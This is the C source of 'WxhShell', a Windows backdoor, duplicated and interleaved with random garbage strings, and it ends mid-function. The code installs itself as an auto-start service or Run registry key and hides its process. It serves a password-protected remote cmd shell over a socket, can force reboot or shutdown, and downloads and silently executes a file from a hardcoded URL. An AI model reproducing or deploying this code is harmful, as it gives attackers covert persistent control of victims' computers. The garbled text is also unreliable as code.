+mP` HANDLE hProcess; w PR Ns9^ PROCESS_BASIC_INFORMATION pbi; &s`)_P[ bPFGQlmIO HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B9"o Ru^} if(NULL == hInst ) return 0; HKJCiQ|k ;I*t5{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kc2B_+Y1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0cHcBxdF NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Eg`~mE+a M$EF 8 if (!NtQueryInformationProcess) return 0; UmVn: a <9pI~\@w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IE \RP! if(!hProcess) return 0; @H?OHpJ"` D=a*Xu2zq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l\{Qnb( *,X)tZ6VX CloseHandle(hProcess); }SSg>.48w viG= Ap.Th hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6n2RT H if(hProcess==NULL) return 0; R9A:"sJ 2@a'n@- HMODULE hMod; pA .orx char procName[255]; T/|!^qLF unsigned long cbNeeded; \2/X$x<?X _ooHB>sH if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wetu.aMp gaXo)o S CloseHandle(hProcess); i`@cVYsL Lmjd,t if(strstr(procName,"services")) return 1; // 以服务启动 Gk5'|s ]#M"|iTR return 0; // 注册表启动 2*D2jw } ;b [>{Q; X]}ai5 // 主模块 co\?SgE35 int StartWxhshell(LPSTR lpCmdLine) TYuP
EVEXZ { ODu/B'*
SOCKET wsl; oX)a6FXK> BOOL val=TRUE; <.Tllk@r) int port=0; O;VqrO struct sockaddr_in door; h's[)
t xCL)<8[R,} if(wscfg.ws_autoins) Install(); =M
8Mt/P ;*qXjv&
K port=atoi(lpCmdLine); v>K|hH g=D]=&H if(port<=0) port=wscfg.ws_port; M{p6&eg ! =21K0~t# WSADATA data; ^r}Uu~A> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ut~YvWc9 -!+i
^r if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z|@-=S(. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lJAzG,f door.sin_family = AF_INET; `P\H{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); *P
*.'XM door.sin_port = htons(port); :c]y/lQmV g[i;>XyP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3\ajnd| closesocket(wsl); D7pQWlN\ return 1; Y_*KAr'{P } @GAj%MK$ ;L87
%P(. if(listen(wsl,2) == INVALID_SOCKET) { 5L6.7}B closesocket(wsl); $!G|+OuTR return 1; umPnw } !"phz&E5ah Wxhshell(wsl); }%wP^6G*x\ WSACleanup(); ^e "4@O" ,eebO~7vB return 0; \|X
1 #p=+RTZ< } %+/v")8+? 1<x5{/CZ // 以NT服务方式启动 e#5WX VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WuVsW3@ { v0WB.`rO DWORD status = 0; u@D5SkT DWORD specificError = 0xfffffff; X ([^i;mr 3 a(SmM: serviceStatus.dwServiceType = SERVICE_WIN32; A["6dbvv serviceStatus.dwCurrentState = SERVICE_START_PENDING; G AH< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uu4!e{K serviceStatus.dwWin32ExitCode = 0; FBP #_"z serviceStatus.dwServiceSpecificExitCode = 0; @I Y<i5( serviceStatus.dwCheckPoint = 0; ZD50-w; serviceStatus.dwWaitHint = 0; ST#)Fl ,^4"e
( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b?=r%D->w if (hServiceStatusHandle==0) return; Sy.%>$ z ce4rhtkV status = GetLastError(); q@1A2L\Om if (status!=NO_ERROR) .))k { M97+YMY) serviceStatus.dwCurrentState = SERVICE_STOPPED; uR")@Tc serviceStatus.dwCheckPoint = 0; sfG9R" serviceStatus.dwWaitHint = 0; LU*mR{B serviceStatus.dwWin32ExitCode = status; vIi&D; serviceStatus.dwServiceSpecificExitCode = specificError; QN;NuDHN SetServiceStatus(hServiceStatusHandle, &serviceStatus); &VjPdu57 return; 3|e~YmZx } 0* ^f
EoV :;#^gvH serviceStatus.dwCurrentState = SERVICE_RUNNING; n>^9+Rx|i serviceStatus.dwCheckPoint = 0; 78T;b7!-C serviceStatus.dwWaitHint = 0; ]mJ9CP8P1c if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5FJ%"5n& } !pa7]cZ mMZ=9 ?m // 处理NT服务事件,比如:启动、停止 WZA1nzRc VOID WINAPI NTServiceHandler(DWORD fdwControl) +7"UF)
~k { T8LvdzS switch(fdwControl) kVWrZ>McK { '#K~hep case SERVICE_CONTROL_STOP: $m.'d*e5 serviceStatus.dwWin32ExitCode = 0; JKYtBXOl serviceStatus.dwCurrentState = SERVICE_STOPPED; M9Z9s11{H serviceStatus.dwCheckPoint = 0; pOy(XUV9O serviceStatus.dwWaitHint = 0; S-6i5H"B& { |a1zJ_t4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); UGOe(JB } 4`CO>Q return; (s1iYK case SERVICE_CONTROL_PAUSE: GYT0zMMf serviceStatus.dwCurrentState = SERVICE_PAUSED; fb8xs< break; i+-=I+L3 case SERVICE_CONTROL_CONTINUE: qk&BCkPT serviceStatus.dwCurrentState = SERVICE_RUNNING; 6jal5<H break; yh4% case SERVICE_CONTROL_INTERROGATE: B aCzN;) break; s0Y7`uD^ }; !vr
A\d SetServiceStatus(hServiceStatusHandle, &serviceStatus); W70BRXe04D } |<YF.7r; Q>=/u- // 标准应用程序主函数 48GaZ@v int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U$ZbBVa`~ { @bFl8- F>u/Lh! // 获取操作系统版本 '~6l
6wi OsIsNt=GetOsVer(); 3z
5"Ckzb GetModuleFileName(NULL,ExeFile,MAX_PATH); +I~U8v- tN)Vpb\J // 从命令行安装 '#r^W2 if(strpbrk(lpCmdLine,"iI")) Install(); HBa6Y&)< G)5Uiu:^X // 下载执行文件 /X\:3P if(wscfg.ws_downexe) { H,fVF837 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8/9YR(H3H WinExec(wscfg.ws_filenam,SW_HIDE); Yj>\WH } FZ%
WD@= <dY{@Cgw= if(!OsIsNt) { VDy_s8Z# // 如果时win9x,隐藏进程并且设置为注册表启动 t1l4mdp HideProc(); Gm\jboef] StartWxhshell(lpCmdLine); {2&MyxV } ^6,}*@ else NjA\*M9 if(StartFromService()) L-3wez;hm // 以服务方式启动 F.R0c@&W StartServiceCtrlDispatcher(DispatchTable); aOW~! f/M else \?k"AtL // 普通方式启动 du=[ r StartWxhshell(lpCmdLine); (5^SL Y <,'^dR7, return 0; j62oA$z } `MMZR=LA <daBP[ sr.!EQ ] Eid~4a =========================================== >3ASrM+>w A%#."2vq~ h3-dJgb s[/)v: Su`]
ku' Fc"+L+h@W " O6!:Qd m3b?f B #include <stdio.h> 1b"3]? #include <string.h> }l@7t&T| #include <windows.h> 3n TpL# #include <winsock2.h> =hKu85 #include <winsvc.h> g>Kh? ( #include <urlmon.h> 5NYYrA8,^ cA
B^]j #pragma comment (lib, "Ws2_32.lib") ZP7wS #pragma comment (lib, "urlmon.lib") `l}r&z(8 K}Pi"Le@W #define MAX_USER 100 // 最大客户端连接数 R 9Yk9v #define BUF_SOCK 200 // sock buffer yCye3z. #define KEY_BUFF 255 // 输入 buffer ZltY_5l 2W`<P2IA #define REBOOT 0 // 重启 {&Sr<d5 #define SHUTDOWN 1 // 关机 8J#TP7; HFf9^ #define DEF_PORT 5000 // 监听端口 ![@\p5-e )pt#Pu
#define REG_LEN 16 // 注册表键长度 NY~y:*:Q #define SVC_LEN 80 // NT服务名长度 "/U~j4O ,`l8KRd // 从dll定义API bMF`KRP2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9RN! <`H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2Y{r2m|o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !xZ`()D# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '4d+!%2t q1o)l // wxhshell配置信息 \wo'XF3: struct WSCFG { IDv|i.q3 int ws_port; // 监听端口 r*s)T`T}} char ws_passstr[REG_LEN]; // 口令 |h1Y3 int ws_autoins; // 安装标记, 1=yes 0=no syLpnNx= char ws_regname[REG_LEN]; // 注册表键名 FZhjI 8+,~ char ws_svcname[REG_LEN]; // 服务名 !_UBw7Zm char ws_svcdisp[SVC_LEN]; // 服务显示名 l7=WO#Pb char ws_svcdesc[SVC_LEN]; // 服务描述信息 }>u<, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~C2[5r{So int ws_downexe; // 下载执行标记, 1=yes 0=no &8wluOs/5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3sq(FsT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J#& C&S 2 p^QB^HEV }; d#G H4+C o8lwwM* // default Wxhshell configuration -nrfu) G struct WSCFG wscfg={DEF_PORT, v/lQ5R1 "xuhuanlingzhe", }fKpih 1, 27KfT]= "Wxhshell", a7Rg!%r "Wxhshell", UK xeN[fv "WxhShell Service", >T~duwS "Wrsky Windows CmdShell Service", -( ,iwFb "Please Input Your Password: ", \a\ApD
1, JmK[7t "http://www.wrsky.com/wxhshell.exe", BPzlt "Wxhshell.exe" -%x9^oQwY }; |CFTOe\q
=:-x; // 消息定义模块 (*2kM| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0<T/P+| char *msg_ws_prompt="\n\r? for help\n\r#>"; wsNM'~( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mw+8p}E char *msg_ws_ext="\n\rExit."; *6e 5T char *msg_ws_end="\n\rQuit."; .)eX(2j\ char *msg_ws_boot="\n\rReboot..."; ^d2bl,1 char *msg_ws_poff="\n\rShutdown..."; T&`H )o char *msg_ws_down="\n\rSave to "; *aF<#m v :X6A9jmd char *msg_ws_err="\n\rErr!"; _n+./B char *msg_ws_ok="\n\rOK!"; $w$4RQk3n 7EAkY`Op char ExeFile[MAX_PATH]; [8QE}TFic int nUser = 0; pP6pn~} HANDLE handles[MAX_USER]; n7S~nk int OsIsNt; Eo }mSd xc+h
Fx SERVICE_STATUS serviceStatus; F$Q@UVA SERVICE_STATUS_HANDLE hServiceStatusHandle; u*$ 1e C}{$'#DV2 // 函数声明 :2fz4n0{/ int Install(void); M(2c{TT int Uninstall(void); 3;J)&(j0 int DownloadFile(char *sURL, SOCKET wsh); {~ngI< int Boot(int flag); A;A>Q`JJF void HideProc(void); to int GetOsVer(void); c|'hs int Wxhshell(SOCKET wsl); }~RH!Q1 void TalkWithClient(void *cs); ,4wZ/r>
d int CmdShell(SOCKET sock); Dab1^H!KT int StartFromService(void); =K)au$BE| int StartWxhshell(LPSTR lpCmdLine); Sgt@G=_o .{1MM8 Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PiRbdl VOID WINAPI NTServiceHandler( DWORD fdwControl ); *?`:= G*|2qX"o // 数据结构和表定义 ?N|B, F SERVICE_TABLE_ENTRY DispatchTable[] = i}5
#n { e_BOzN~c {wscfg.ws_svcname, NTServiceMain}, >#RXYDd {NULL, NULL} [yF4_UoF }; =y/VrF.bV Tl!}9/Q5E: // 自我安装 sGCV um} int Install(void) WBA0!
g98 { F:CqB| char svExeFile[MAX_PATH]; dB`YvKr# HKEY key; P==rY5+s` strcpy(svExeFile,ExeFile); gn?
~y` UEJX0= // 如果是win9x系统,修改注册表设为自启动 @])qw_ if(!OsIsNt) { 0FHX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ba 3_55] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $e! i4pM RegCloseKey(key); l\yFx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&6!2s- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); he/UvMu RegCloseKey(key); .s_wP return 0; }cll? 2 } PF1m :Iz`d } {}ZQK } m.MOn3n] else { X}yEMe{T XY5I5H_U // 如果是NT以上系统,安装为系统服务 xcz1(R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mp~E$f if (schSCManager!=0) R4"g?
e { 1e;^MzB" SC_HANDLE schService = CreateService -,~n|ceI ( (d[)U< schSCManager, ^z$-NSlI wscfg.ws_svcname, MS6^= [" wscfg.ws_svcdisp, {O6f1LuH SERVICE_ALL_ACCESS, oUm"qt_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WZ'3 SERVICE_AUTO_START, $+sNjwv^F SERVICE_ERROR_NORMAL, N"b>]Ab] ; svExeFile, `?Wak=]g NULL, NwmO[pt+ NULL, gUCv#: NULL, ,c6ID|\ NULL, p3*}! ez4 NULL r}P{opn$t ); laqW
{sX^5 if (schService!=0) DY6wp@A { KX9+*YY, CloseServiceHandle(schService); ">kfX1LT CloseServiceHandle(schSCManager); N`/6
By strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W:P4XwR{ strcat(svExeFile,wscfg.ws_svcname); Cl]E rg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~?dPF;.6_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aU2O5 z& RegCloseKey(key); S >uzW # return 0; EpeTfD } "j9,3yJT } JLRw`V,o7 CloseServiceHandle(schSCManager); s} ,p>8 } :?{ **&= } VuFH
>8n e.i5j^5u return 1; K.] *:fd } O~B
iqm 8@qYzSx[ // 自我卸载
8J%^gy>m] int Uninstall(void) dKw*L|5 { r}9qK%C G. HKEY key; `jJ5us ~;| if(!OsIsNt) { -ny[Lh^b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $CO^dFf RegDeleteValue(key,wscfg.ws_regname); U\y];\~H RegCloseKey(key); [[?:,6I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cp2e,%o RegDeleteValue(key,wscfg.ws_regname); zHr1FxD RegCloseKey(key); lx~!FLn return 0; Ud:v3"1 } rU5gQq; } (M6B$: } vI#\Qe else { #OH-LWZh D2~e@J(K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H__9%p# if (schSCManager!=0) ~d7!)c`z { [X=-x=S, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]E88zWDY` if (schService!=0) ooByGQ90V: { )=;0 if(DeleteService(schService)!=0) { on+
c*# CloseServiceHandle(schService); BULX*eOt CloseServiceHandle(schSCManager); ^!1mChf return 0; j|KZ HH%dc } gec<5Ewg CloseServiceHandle(schService); zMKW@ } ju(&v*KA CloseServiceHandle(schSCManager); p}!rPd* } 3IZ^!J } 7Rk eV |~W!Y\l- return 1; ~DVAk|fc } g%#"
5Kr ! SD? // 从指定url下载文件 >.SU=HG; int DownloadFile(char *sURL, SOCKET wsh) 1/3Go97/qV { WtFv"$V HRESULT hr; $Dd IY} char seps[]= "/";
s<xD$K~rM char *token; W j/.rG&tE char *file; ;4Y@xS2M char myURL[MAX_PATH];
qn6Y(@<[ char myFILE[MAX_PATH]; 2md1GWyP %s%v|HDs strcpy(myURL,sURL); !t{3IE token=strtok(myURL,seps); pA+W
8v#* while(token!=NULL) //\ORJd { (+38z)f file=token; {$ HW_\w token=strtok(NULL,seps); &|IY=$- } ^{_`jE b"t!nfgo GetCurrentDirectory(MAX_PATH,myFILE); $VhUZGuG> strcat(myFILE, "\\"); ,;'9PsIS^ strcat(myFILE, file); v}IkY send(wsh,myFILE,strlen(myFILE),0); R>To
L send(wsh,"...",3,0); jtV{Lf3< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j>+x|!k if(hr==S_OK) +T+f``RcK return 0; =E8lpN' else pN&5vu30 return 1; Ix^xL+Tm j Aw&5, } B5IS-d S`BLwnU`# // 系统电源模块 +eZR._&0 int Boot(int flag) M ZB0vdx { f[HhLAVGK` HANDLE hToken; }L{en TOKEN_PRIVILEGES tkp; z"u4t.KpL mZDrvTI' if(OsIsNt) { [7ZFxr\:! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9;k_"@A6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l!<Nw8+U tkp.PrivilegeCount = 1; E#`=xg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H*!j\|v0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =4"D8UaHr if(flag==REBOOT) { Bl2y~fCA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
5 .
5 return 0; @>_`g= } G \?fWqx else { Y5$5qQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j08}5Eo return 0; 0"(5\T } En&ESWN } Pq>r|/~_ else { {v}f/cu if(flag==REBOOT) { o>W H;EBL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r;t0+aLc* return 0; .vj`[?T } S
"R]i else { PGsXB"k<8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6n]fr9f return 0; 9; H R } r]sv50Fy } H2l/9+ ~z$vF return 1; z/)HJo2# } (GJ)FWen0" wbshKkUh_* // win9x进程隐藏模块 YQvN;W void HideProc(void) y~w2^VN= { w7$*J:{ Q9H~B`\nQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qYBoo]}a if ( hKernel != NULL ) X#j-Ld{j { Wjn1W;m&g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >c*}Do{lG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `/#f8R1g FreeLibrary(hKernel); !5wm9I!5^ } nPj%EKdY4 8Gzc3 return; hn#i,XnY } ya0L8`q s"#JBw\7 // 获取操作系统版本 O6NgI2[O int GetOsVer(void) w,cfSF;=tC { .8S6;xnkC OSVERSIONINFO winfo; NOLw119K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); im_WTZz2P GetVersionEx(&winfo); Jiyt,D*wX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m{
.'55 return 1; (ec?_N0= else Xi^3o return 0; 7"Sw))H| } <UOx >=h $73 7oV< // 客户端句柄模块 0tv"tA; int Wxhshell(SOCKET wsl) ce{(5IC { m_\w) SOCKET wsh; SCs@Q struct sockaddr_in client; 97lM*7h; DWORD myID; 8Eyi`~cAiH 1O>wXq7q while(nUser<MAX_USER) NBuibL { 4n @}X-) int nSize=sizeof(client); fNNkc[YTZI wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^I=c]D]); if(wsh==INVALID_SOCKET) return 1; !qsk;Vk7Z ?Y7'OlO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q(4W/y if(handles[nUser]==0) Z{s&myd closesocket(wsh); Y u\<
else la:i!qAH nUser++; o4,fwPkB } &4Q(>"iL4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1OJD!juL$ ifTMoC% return 0; R]O!F)_/' } kwU~kcM rxH*h`Xx@ // 关闭 socket eR PmN void CloseIt(SOCKET wsh) p%toD{$ { 8d|omqe~P closesocket(wsh); *{8<4CVv nUser--; bCr) 3, ExitThread(0); <NZ^*] } -.-je"E ,e{( r0 // 客户端请求句柄 2\h}6DGx2 void TalkWithClient(void *cs) .VG$`g" { V #["Z} \]ouQR.t@\ SOCKET wsh=(SOCKET)cs; X]ow5{e char pwd[SVC_LEN]; Dnn$-W|NC char cmd[KEY_BUFF]; gKy@$at& char chr[1]; VU3xP2c: int i,j; v- M3/* b fy `UZr while (nUser < MAX_USER) { 6X2>zUHR gD E',)3Q, if(wscfg.ws_passstr) { 6REv( E] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W`_pjld //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vH/z|< //ZeroMemory(pwd,KEY_BUFF); :9un6A9JS i=0; =67dpQ'y while(i<SVC_LEN) { |g<1n }#}IR5`=E // 设置超时 |M]#D0v fd_set FdRead; Tap=K|b ]
struct timeval TimeOut;
AoB~ZWq FD_ZERO(&FdRead); jiQJ{yY FD_SET(wsh,&FdRead); 0f~7n*XH TimeOut.tv_sec=8; 1T:M?N8J TimeOut.tv_usec=0; \?uaHX`1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I;H6E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d#P3
< CA%p^ 4Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rI34K~ P pwd=chr[0]; 1cPm $=B if(chr[0]==0xd || chr[0]==0xa) { ^%l~|w pwd=0; w:xLg.Eq6 break; H%N!;Jz= } par|j] i++; gI8r SmH } ^% y<7>% #eSVFD5ZU // 如果是非法用户,关闭 socket q>:>f+4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 j$ |fS } E +\?|q !T W/_=S+CvK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lg` Qi& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >;V ?s] /N6sH!w while(1) { 1,@-y#V_ @8WG ZeroMemory(cmd,KEY_BUFF); tYV%izE /MFy%=0l // 自动支持客户端 telnet标准 _=W ^#z j=0; Z*
eb while(j<KEY_BUFF) { 5sJi- ^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pw:(X0@ cmd[j]=chr[0]; [U+6Tj, if(chr[0]==0xa || chr[0]==0xd) { fy|ycWW>8 cmd[j]=0; ^Q!qJav break; 3`sM/BoA } /3|uU j++; wq&|V } [pMJ9
d$ c@u)m}V // 下载文件 `H+~LVH if(strstr(cmd,"http://")) { 'Gwa[ |6i send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y"qKe, if(DownloadFile(cmd,wsh)) K..L8#SC send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eq$Q%'5*ua else R^zTgyr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]jo^P5\h> } VsS.\1 else { _4qP0LCa 9^l[d< switch(cmd[0]) { &t)dE7u5 c\GJfsVk // 帮助 K07SbL7g!p case '?': { VYw
vT0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ERxA79
break; ZUGuV@&-T } _Eq* // 安装 =hE5 ?}EP+ case 'i': { (ov=D7>t0 if(Install()) }'HJV B_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :%GxU;<E{ else oXw} K((| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d"zbY\` break; uv*OiB" } 4^H(p // 卸载 pT Yq#9 case 'r': { x17cMfCH% if(Uninstall()) 2w`k h= send(wsh,msg_ws_err,strlen(msg_ws_err),0); v~-z["=}! else bA]/p%rZ8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4u5^I;4pL break; :ie7HF } C D#:* // 显示 wxhshell 所在路径
KQsS)ju case 'p': { 9( ;lcOz char svExeFile[MAX_PATH]; a<+Qw' strcpy(svExeFile,"\n\r"); $<^4G strcat(svExeFile,ExeFile); ]'Y
vI!r send(wsh,svExeFile,strlen(svExeFile),0); 0gNwC~IA8 break; ;)ffGg> } K{[yS B // 重启 dRg1I=|{_ case 'b': { ,aI 6P- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #;. tVo I if(Boot(REBOOT)) uS :3Yo send(wsh,msg_ws_err,strlen(msg_ws_err),0); W-mi1l^H{ else { ]p3hq1u3& closesocket(wsh); U85t !U ExitThread(0); NJ8QI(^" } >T3HkOT break; ;OW`(jC } FG8genCH@ // 关机 4xLU15C case 'd': { [~$Ji&Dd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $I(2}u?1+d if(Boot(SHUTDOWN)) #W<D~C[I _ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>h2h ?2te else { 9TGjcZ1S' closesocket(wsh); Qxj &IX ExitThread(0); u?[P@_i< } n y6-_mA] break; 9ls<Y } FY"!%)TV // 获取shell v ?@Ys+V case 's': { H?8uy_Sc CmdShell(wsh); "Yw-1h`fR closesocket(wsh); 2d+IROA ExitThread(0); )W9$_<Z break; @ -pi } CFD& -tED& // 退出 }x% ;y]S case 'x': { L+Q"z*W send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +=I_3Wtth CloseIt(wsh); u->UV:u break; PQAN ,d } C`OdMM>D // 离开 TL@_m^SM case 'q': { K1RTAFf / send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2!/*I: closesocket(wsh); ]dk44,EL WSACleanup(); Y<Y5HI" exit(1); \XwXs5"G break; @=x=dL( } s$xctIbm?, } ) ^PY-~o[ } N3E Qq~lX MO)N0{.b // 提示信息 o?uTL>Zin if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R:YX{Tq } !]qwRB$5 } (_-<3)q4 0hcrQ^BB!b return; reLYtv } }_}C ^ >L#&L?# // shell模块句柄 ~]?Q'ER int CmdShell(SOCKET sock) &s_O6cqgh { e$QX?y . STARTUPINFO si; $A6'YgK ZeroMemory(&si,sizeof(si)); VR5$[-E3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $Hqm 09w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &k(t_~m> PROCESS_INFORMATION ProcessInfo; sJtz{' char cmdline[]="cmd"; VkFTIyt CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lu}oC2 return 0; ~=(?Z2UDA_ } 7(na?Z$
Q(gu";& // 自身启动模式 ->&AJI0 int StartFromService(void) }K9Vr! { -?<wvUbR{ typedef struct q{Hk27kt { uc~PKU?tO DWORD ExitStatus; :
:8UVLX DWORD PebBaseAddress; Hx2.2A^ DWORD AffinityMask; C/%umazP9 DWORD BasePriority; ftsr-3!Vm ULONG UniqueProcessId; _={*<E ULONG InheritedFromUniqueProcessId; ^dH#n~Wx0 } PROCESS_BASIC_INFORMATION; a_'W1ek-@ q5:-?|jXJ PROCNTQSIP NtQueryInformationProcess; ],R rk]1 [qlq& ?" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yyxGVfr static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vV.'&."g punc'~ HANDLE hProcess; F7UY>z3jL PROCESS_BASIC_INFORMATION pbi; @5Q}o3.zA- i%>]$* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /lDW5;d if(NULL == hInst ) return 0; i>r4R z! sxJKu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w(n&(5FzB< g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y.5mYQA4=[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N!m-gymmF <=n$oMO if (!NtQueryInformationProcess) return 0; ymXR#E h>$,97EU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
' ^gF if(!hProcess) return 0; hFuS>Hx ov zIJbf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +pc_KR O:Bfbna CloseHandle(hProcess); qrO]t\ b,/fz6
